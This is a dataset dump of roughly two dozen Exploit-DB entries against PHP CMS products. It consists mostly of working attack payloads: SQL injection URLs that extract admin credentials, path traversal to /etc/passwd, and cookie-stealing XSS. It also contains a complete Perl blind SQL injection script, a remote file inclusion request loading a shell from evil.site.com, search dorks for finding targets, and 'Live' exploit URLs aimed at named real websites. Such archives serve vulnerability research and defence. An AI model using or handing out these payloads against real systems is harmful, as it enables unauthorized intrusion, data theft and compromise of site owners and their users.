deardaniel/secdata-raw huggingface dataset:
Exploit-DB #7560
Description: CMS NetCat 3.12 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2008-12-23
Author: s4avrd0w

Exploit:
NetCat <= 3.12 Multiple Remote Vulnerabilities

The description:
The set vulnerability in CMS NetCat versions 3.12 and more low was revealed.

1. Multiple File Including Vulnerabilities

Vulnerability exists for the reason that direct access to some files, around logicians of work of the appendix is possible.
It gives the chance to redefine internal variables which are transferred as arguments in function include ().
Examples of vulnerable files:
/netcat/modules/netshop/post.php?system=../../../../.htaccess%00
/netcat/modules/auth.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/banner.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/blog.inc.php?INCLUDE_FOLDER=../../.htaccess%00
/netcat/modules/forum.inc.php?INCLUDE_FOLDER=../../.htaccess%00

The note:
For vulnerability operation the following options PHP are required: register_globals=On and magic_quotes_gpc=Off

2. Blind SQL Injection Vulnerabilities

Examples of vulnerable files:
/netcat/modules/auth/password_recovery.php?=1'SQL_code

Example:
/netcat/modules/auth/password_recovery.php?=1'/**/OR/**/VERSION()/**/LIKE/**/'4%'/*

The note:
For vulnerability operation the following options PHP are required:magic_quotes_gpc=Off

3. Multiple Cross-site Scripting Vulnerabilities

Examples of vulnerable files: 
/netcat/admin/siteinfo/iframe.inc.php?path=http://ha.ckers.org/scriptlet.html" 
/netcat/FCKeditor/neditor.php?form=<XSS>&control=<XSS> etc.

4. HTTP Response Splitting

Examples of vulnerable files: 
/netcat/modules/auth/index.php?logoff=1&redirect=http://www.google.com 
/netcat/modules/linkmanager/redirect.php?url=http://www.google.com

5. CRLF injection 

Vulnerability exists at the moment of value installation %0a in COOKIEvariables.
Vulnerability has been found out at the reference to a file /netcat/add.php.

# milw0rm.com [2008-12-23]
Exploit-DB #11836
Description: CMS Openpage - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-03-22
Author: Phenom

Exploit:
====================================================
CMS Openpage (index.php) SQL Injection Vulnerability
====================================================

[+] Discovered by: Phenom
[+] My id: http://inj3ct0r.com/author/2157
[+] Original: http://inj3ct0r.com/exploits/9666

# Exploit Title: CMS Openpage (index.php) SQL Injection Vulnerability
# Tested on: windows xp sp3
# Code :

>>[Author] = Phenom

>>[CMS] = CMS Openpage

>>[Dork] = I hate script kiddies

>>[Date] = 2010-03-22


>>[Exploit] :

[Bug] = [index.php?pagina=news&id=]

[Usage] = http://www.site/index.php?pagina=news&id=[SQL Injection]

[Login] = http://site/index_priv.php


>>[Demo] :

[+] http://[site]/index.php?pagina=news&id=-5+union+select+1,group_concat%28concat%28username,0x3a,password,0x3a,email%29%20separator%200x3c62723e%29,3,4,5,6,7,8,9,10+from+utenti--


# Inj3ct0r.com [2010-03-22]
Exploit-DB #7237
Description: CMS Ortus 1.13 - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-26
Author: otmorozok428

Exploit:
Author: otmorozok428, http://forum.antichat.ru 

Products: CMS Ortus 1.12, CMS Ortus 1.13

Vendor: http://ortus.nirn.ru

Download: http://ortus.nirn.ru/files/ortus1-12.zip, http://ortus.nirn.ru/files/ortus1-13.zip

Dork (for ALL Versions of CMS Ortus): inurl:index.php?ortupg=



SQL Injection Vulnerability in POST Form:

http://www.site.com/index.php?mod=users_edit_pub

"City" field: [SQL Injection]



EXAMPLE:

1. You need to register first

   http://www.site.com/index.php?mod=users_add

2. Authentication

   http://www.site.com/index.php?mod=auth

3. Edit user profile next

   http://www.site.com/index.php?mod=users_edit_pub

4. Exploit "City" field (receive admin rights)

   MyCity', `group`='admin

5. Login to admin area

   http://www.site.com/auth.php




You can see demo video here:

http://depositfiles.com/files/h8sbwikey

# milw0rm.com [2008-11-26]
Exploit-DB #35551
Description: CMS Papoo 6.0.0 Rev. 4701 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2014-12-16
Author: Steffen Rösemann

Exploit:
Advisory: Persistent XSS Vulnerability in CMS Papoo Light v6
Advisory ID: SROEADV-2014-01
Author: Steffen Rösemann
Affected Software: CMS Papoo Version 6.0.0 Rev. 4701
Vendor URL: http://www.papoo.de/
Vendor Status: fixed
CVE-ID: -

==========================
Vulnerability Description:
==========================

The CMS Papoo Light Version has a persistent XSS vulnerability in its guestbook functionality and in its user-registration functionality.

==================
Technical Details:
==================

XSS-Vulnerability #1:

Papoo Light CMS v6 provides the functionality to post comments on a guestbook via the following url: http://{target-url}/guestbook.php?menuid=6.

The input fields with the id „author“ is vulnerable to XSS which gets stored in the database and makes that vulnerability persistent.

Payload-Examples:

<img src='n' onerror=“javascript:alert('XSS')“ >
<iframe src=“some_remote_source“></iframe>

XSS-Vulnerability #2:

People can register themselves on Papoo Light v6 CMS at http://{target-url}/account.php?menuid=2. Instead of using a proper username, an attacker can inject HTML and/or JavaScriptcode on the username input-field.

Code gets written to the database backend then. Attacker only has to confirm his/her e-mail address to be able to login and spread the code by posting to the forum or the guestbook where the username is displayed.

Payload-Examples:

see above (XSS #1)

=========
Solution:
=========

Update to the latest version

====================
Disclosure Timeline:
====================
13-Dec-2014 – found XSS #1
13-Dec-2014 - informed the developers (XSS #1)
14-Dec-2014 – found XSS #2
14-Dec-2014 – informed the developers (XSS #2)
15-Dec-2014 - release date of this security advisory
15-Dec-2014 - response and fix by vendor
15-Dec-2014 - post on BugTraq

========
Credits:
========

Vulnerability found and advisory written by Steffen Rösemann.

===========
References:
===========

http://www.papoo.de/
http://sroesemann.blogspot.de
Exploit-DB #8172
Description: cms s.builder 3.7 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-03-09
Author: cr0w

Exploit:
CMS S.Builder <= 3.7 RFI Vulnerability


Information:

Vendor: http://www.sbuilder.ru
Affected versions: 3.7 and possibly later versions


Description:

The engine of this cms makes site files (index.php, etc) with code like:

---[ PHP Code:

if (!isset($GLOBALS['binn_include_path'])) $GLOBALS['binn_include_path'] = '';
...
include_once($GLOBALS['binn_include_path'].'prog/pl_menu/show_menu.php');
...

-----

If register_globals=On, attacker can write remote url (if allow_url_fopen=On) or local path into variable binn_include_path.


PoC:

---[ HTTP Request:

GET /index.php HTTP/1.1
Host: www.site.com
Cookie: binn_include_path=http://evil.site.com/shell.txt?

-----


# by cr0w 
# http://cr0w-at.blogspot.com

# milw0rm.com [2009-03-09]
Exploit-DB #24134
Description: CMS snews - SQL Injection
Type: webapps
Platform: php
Date: 2013-01-15
Author: By onestree

Exploit:
  ____   ____   ____   _______/  |________   ____   ____  
 /  _ \ /    \_/ __ \ /  ___/\   __\_  __ \_/ __ \_/ __ \ 
(  <_> )   |  \  ___/ \___ \  |  |  |  | \/\  ___/\  ___/ 
 \____/|___|  /\___  >____  > |_ |  |__|    \___  >\___  >
            \/     \/     \/                    \/     \/ 
     

# Exploit Title : CMS snews SQL Injection Vulnerability
# Author        : By onestree
# Software Link : http://snewscms.com/
# tested        : ubuntu 12.10 / win 7
# Dork          : inurl:"tanyakan pada rumput yang bergoyang"


*************************************************************

SQL poc:

http://localhost/snews/snews.php?act=shownews&id=[SQL]

Example:

http://localhost/snews/snews.php?act=shownews&id=-23/**/union/**/select/**/0,1,concat(user_name,char(32),user_pass),3,4,5,6/**/from/**/snews_user/**/where/**/id%20like%201/*
 

Thanks : 

  Exploit-db | Alex_Ownz | alm.teardrop | abhelink | kalong666 | prorebell
     
          indonesiancoder - moeslimh4x0r - go-coder

spesial my hunny :*
Exploit-DB #34466
Description: CMS Source - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2010-08-13
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/42437/info

CMS Source is prone to multiple input-validation vulnerabilities because it fails to adequately sanitize user-supplied input. These vulnerabilities include local file-include, SQL-injection, and cross-site-scripting issues.

Exploiting these issues can allow an attacker to steal cookie-based authentication credentials, view local files within the context of the webserver, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. Other attacks may also be possible. 

http://www.example.com/home/demo1/index.php?target=articles&subtarget=Article_Detail&selected=50+union+select+user%28%29,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+--+
http://www.example.com/home/demo1/index.php?target=search&subtarget=top&searchstring=%27/**/SQL_CODE

http://www.example.com/home/demo1/index.php?target=articles&subtarget=X%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
http://www.example.com/home/demo1/index.php?target=search&subtarget=top&searchstring=%3Cimg+src=0+onerror=alert%28document.cookie%29%3E
http://www.example.com/home/demo1/manage.php?target=Home&subtarget=top%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E

http://www.example.com/home/demo1/manage.php?target=./../../../../../../../../../../../../etc/passwd%00
http://www.example.com/home/demo1/manage.php?target=./../../../../../../../../../../../../path/to/php_file%00
http://www.example.com/home/demo1/index.php?target=./../../../../../../../../../../../../etc/passwd%00
http://www.example.com/home/demo1/index.php?target=./../../../../../../../../../../../../path/to/php_file%00
Exploit-DB #39179
Description: CMS Touch - 'news.php?News_ID' SQL Injection
Type: webapps
Platform: php
Date: 2014-05-08
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/67377/info
 
CMS Touch is prone to multiple SQL-injection and cross-site scripting vulnerabilities.
 
Successful exploits could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
CMS Touch 2.01 is vulnerable; other versions may also be affected. 

http://www.example.com/cmstouch/news.php?do=show&News_ID=[SQL]
Exploit-DB #39178
Description: CMS Touch - 'pages.php?Page_ID' SQL Injection
Type: webapps
Platform: php
Date: 2014-05-08
Author: indoushka

Exploit:
source: https://www.securityfocus.com/bid/67377/info

CMS Touch is prone to multiple SQL-injection and cross-site scripting vulnerabilities.

Successful exploits could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CMS Touch 2.01 is vulnerable; other versions may also be affected. 

http://www.example.com/cmstouch/pages.php?Page_ID=[SQL]
Exploit-DB #35191
Description: CMS Tovar - 'tovar.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-01-11
Author: jos_ali_joe

Exploit:
source: https://www.securityfocus.com/bid/45772/info

CMS Tovar is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. 

http://www.example.com/tovar.php?id=-294+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user())josalijoe,6,7,8,9--
Exploit-DB #42577
Description: CMS Web-Gooroo < 1.141 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2017-06-01
Author: Kaimi

Exploit:
# Exploit Title: CMS Web-Gooroo <=1.141 - Multiple Vulnerabilities
# Date: 01-06-2017
# Exploit Author: Kaimi
# Website: https://kaimi.io
# Vendor Homepage: http://web.archive.org/web/[PII_REDACTED]4357/http://www.web-gooroo.com/
# Software Link: https://github.com/andrey-buligin/hanna/tree/master/wbg
# Version: <=1.141
# Category: webapps


1. SQL Injection
File: /wbg/core/_includes/authorization.inc.php
Vulnerable code:
$SQL_query = 'SELECT * FROM wbg_users WHERE (login=\'' . $_POST['wbg_login'] . '\') AND (password=\'' . md5(md5($_POST['wbg_password'])) . '\')';
$USER = mysql_fetch_assoc(mysql_query($SQL_query));


2. Hardcoded admin user
File: /wbg/core/_includes/authorization.inc.php
Vulnerable code:
if ((md5($_POST['wbg_login']) == '2d626704807d4c5be1b46e85c4070fec') && (md5($_POST['wbg_password']) == '2967a371178d713d3898957dd44786af')) {
	$USER = $this->get_megaadmin();
}

2d626704807d4c5be1b46e85c4070fec - mayhem
2967a371178d713d3898957dd44786af - no success in bruteforce, though...

3. Full path disclosure
Almost any file, because of lack of input validation and overall bad design.
CMS log file (besides DB log) location with full path and debug info:
/wbg/tmp/logs/syslog.log.php

4. Unrestricted file upload
Can be done via admin panel as attachment to any publication. No file type checking is performed.
Exploit-DB #5997
Description: CMS WebBlizzard - 'index.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-07-03
Author: Bl@ckbe@rD

Exploit:
#/usr/bin/perl

#|+| Vendor Not Notified
#|+| Author: Bl@ckbe@rD
#|+| Discovered On: 10 june  2008
#|+| greetz: InjEctOrs , underz0ne crew 
#--//-->
# -- CMS webBlizzard  Blind SQL Injection Exploit --
#--//--> Exploit :
use strict;
use LWP::Simple;

print "-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-++-\n";
print "-                                                                  -\n";
print "-                                                                  -\n";
print "-                                                                  -\n";
print "-         CMS WebBlizzard  Blind SQL Injection exploit             -\n";
print "-                                                                  -\n";
print "-                                                                  -\n";
print "+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n";

print "\nEnter URL (ie: http://site.com): ";
	chomp(my $url=<STDIN>);
	
if(inject_test($url)) {
	print "Injecting.. Please Wait this could take several minutes..\n\n";
	my $details = blind($url);
	print "Exploit Success! Admin Details: ".$details;
	exit;
}

sub blind {

	my $url    = shift;
	my $res    = undef;
	my $chr    = 48;
	my $substr = 1;
	my $done   = 1;
	
	while($done) {
		my $content = get($url."/index.php?page=6)  and ascii(substring((SELECT CONCAT(username,0x3a,password,0x5E) FROM 
mysql.user),".$substr.",1))=".$chr."/*");
		
		if($content =~ /Previous/ && $chr == 94) { $done = 0; }
			elsif($content =~ /Previous/) { $res .= chr($chr); $substr++; $chr = 48; }
				else { $chr++; }
	}
	return $res;
}

sub inject_test {

	my $url     = shift;
	my $true    = get($url."/index.php?page=6) and 1=1 /*");
	my $false   = get($url."/index.php?page=6) and 1=2 /*");
	
	if($true =~ /Previous/ && $false !~ /Previous/) {
		print "\nTarget Site Vulnerable!\n\n";
		return 1;
	} else { print "\nTarget Site Not Vulnerable! Exiting..\n"; exit; }
}

# milw0rm.com [2008-07-03]
Exploit-DB #8188
Description: CMS WEBjump! - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-03-10
Author: M3NW5

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Powered by Content Management System WEBjump! SQL Injection Vulnerability
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
 
Author	 : M3NW5
contach	 : M3NW5@hackermail.com
GreetZ	 : Anggie Barker,vhiia ^,^
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

--== Dork ==--
Powered by Content Management System WEBjump! "portfolio_genre.php?id="

Exploite : www.sute.com/portfolio_genre.php?id=-67%20union%20select%201,2,@@version--

Live	 : http://www.leti.cz/portfolio_genre.php?id=-67%20union%20select%201,2,@@version--

--== Dork ==--
Powered by Content Management System WEBjump! "news_id.php?lang="

Exploite : www.sute.com/path/news_id.php?lang=en&id=-92%20union%20select%201,2,3,@@version,5--

Live	 : http://tower.klif.pl/content/news_id.php?lang=en&id=-92%20union%20select%201,2,3,@@version,5--

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2009-03-10]
Exploit-DB #34564
Description: CMS WebManager-Pro - 'c.php' SQL Injection
Type: webapps
Platform: php
Date: 2010-09-02
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/42951/info

CMS WebManager-Pro is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/c.php?id=1%20and%20version()=5
Exploit-DB #5641
Description: CMS WebManager-Pro - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-05-18
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.eu ]

 ##################################################################
 #  [  CMS Webmanager-pro ]   Remote SQL Injection Vulnerability  #
 ##################################################################
 #
 # Script site:  http://webmanager-pro.com/
 # 
 # Vuln: 
 # http://site.com/index.php?lang_id=-1+UNION+SELECT+concat_ws(char(58),id,adminuser,adminpass,status)+from+wmp_admin+limit+0,1/*
 # http://site.com/index.php?menu_id=-1+UNION+SELECT+concat_ws(char(58),id,adminuser,adminpass,status)+from+wmp_admin+limit+0,1/*
 #      
 # Dork example: "CMS Webmanager-pro"
 #
 ###############################################
 # Greetz: D3m0n_DE * sid_psycho * and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-05-18]
Exploit-DB #34947
Description: CMS WebManager-Pro 7.4.3 - Cross-Site Scripting / SQL Injection
Type: webapps
Platform: php
Date: 2010-10-30
Author: MustLive

Exploit:
source: https://www.securityfocus.com/bid/44591/info

CMS WebManager-Pro is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CMS WebManager-Pro 7.4.3 is vulnerable; other verisons may also be affected. 

http://www.example.com/index.php?word[]={XSS}
Exploit-DB #1890
Description: CMS-Bandits 2.5 - 'spaw_root' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-06-08
Author: Federico Fazzi

Exploit:
# Author:     Federico Fazzi
# Contact:    federico@autistici.org
# Date:       08/06/2006, 11:09
# Sinthesis:  cms-bandits 2.5, Remote file disclosure
# Product:    http://sourceforge.net/projects/cms-bandits

http://[site]/[cms-bandits]/dialogs/td.php?spaw_root=[evil script]
http://[site]/[cms-bandits]/dialogs/img.php?spaw_root=[evil script]

# milw0rm.com [2006-06-08]
Exploit-DB #5863
Description: CMS-BRD - 'menuclick' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-19
Author: dun

Exploit:
  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ dun[at]strcpy.pl ]

 ##########################################################
 #   [ CMS-BRD ]   Remote SQL Injection Vulnerability     #
 ##########################################################
 #
 # Script site: http://www.cms.brdconcept.fr/
 # 
 # Vuln: 
 # http://site.com/index.php?lang=en&menuclick=-1+UNION+SELECT+concat_ws(char(58),USER(),DATABASE(),VERSION())/*
 #
 # 
 # Dork example: "Powered By CMS-BRD"
 #
 ###############################################
 # Greetz: D3m0n_DE * sid.psycho * str0ke and otherz..
 ###############################################

 [ dun / 2008 ] 

*******************************************************************************************

# milw0rm.com [2008-06-19]
Exploit-DB #6343
Description: CMSbright - 'id_rub_page' SQL Injection
Type: webapps
Platform: php
Date: 2008-09-01
Author: h4ck3r

Exploit:
-------------------------------------------
Script  :  CMSbright ..
 
site     :  http://www.cmsbright.com/
 
Author :  BorN To K!LL
 
Dork    :  powered by CMSbright Â© websens
-------------------------------------------
 
Exploit   :
 
public/page.php?id_rub_page=[SQL]
 
Example :
 
public/page.php?id_rub_page=-9990+union+all+select+concat(version(),database(),user()),2,3,4--
 
-------------------------------------------  
Greets :
 
Dr.2  ,  General C  ,  CcTero0liTi  ,  GolD_M .. & all my friends ..
 
-------------------------------------------

# milw0rm.com [2008-09-01]
Exploit-DB #32841
Description: CMSCart 1.04 - 'maindatafunctions.php' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-28
Author: John Martinelli

Exploit:
source: https://www.securityfocus.com/bid/34017/info

CMSCart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CMSCart 1.04 is vulnerable; other versions may also be affected. 

http://www.example.com/cmscart/index.php?MenuLevel1=%27
Exploit-DB #11104
Description: CMScontrol 7.x - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-11
Author: Cyber_945

Exploit:
#############################################################
#            CMScontrol 7.x File Upload                     #
#############################################################
# Author          : Cyber_945
# Home            : Ar-ge.Org
# Greetz          : D3xer and All Ar-ge.Org Members
# Not3            : Ar-ge.Org Online
# Name            : CMScontrol 7.x File Upload
# Bug Type        : File Upload
# Infection       : Adminin bilgileri alinabilir.
# Dork            : inurl:"index.php?id_menu="

#############################################################
=======================C=y=b=e=r=_=9=4=5================
<-- bug code start -- >

Exploit           : /admin/katalog.php?id_user=1&sesja=ukEyHkczqqU

Server            : http://server/admin/katalog.php?id_user=1&sesja=ukEyHkczqqU

=======================C=y=b=e=r=_=9=4=5================
Exploit-DB #808
Description: CMScore - SQL Injection
Type: webapps
Platform: php
Date: 2005-02-10
Author: GHC

Exploit:
/*==========================================*/
// GHC -> CMS CORE <- ADVISORY
// Product: CMS Core
// URL: http://chipmunk-scripts.com/scripts/cmscore.php
// VULNERABILITY CLASS: SQL injection
/*==========================================*/

[exploit]
Log in with username
Administrator'/*
from admin/index.php page.

# milw0rm.com [2005-02-10]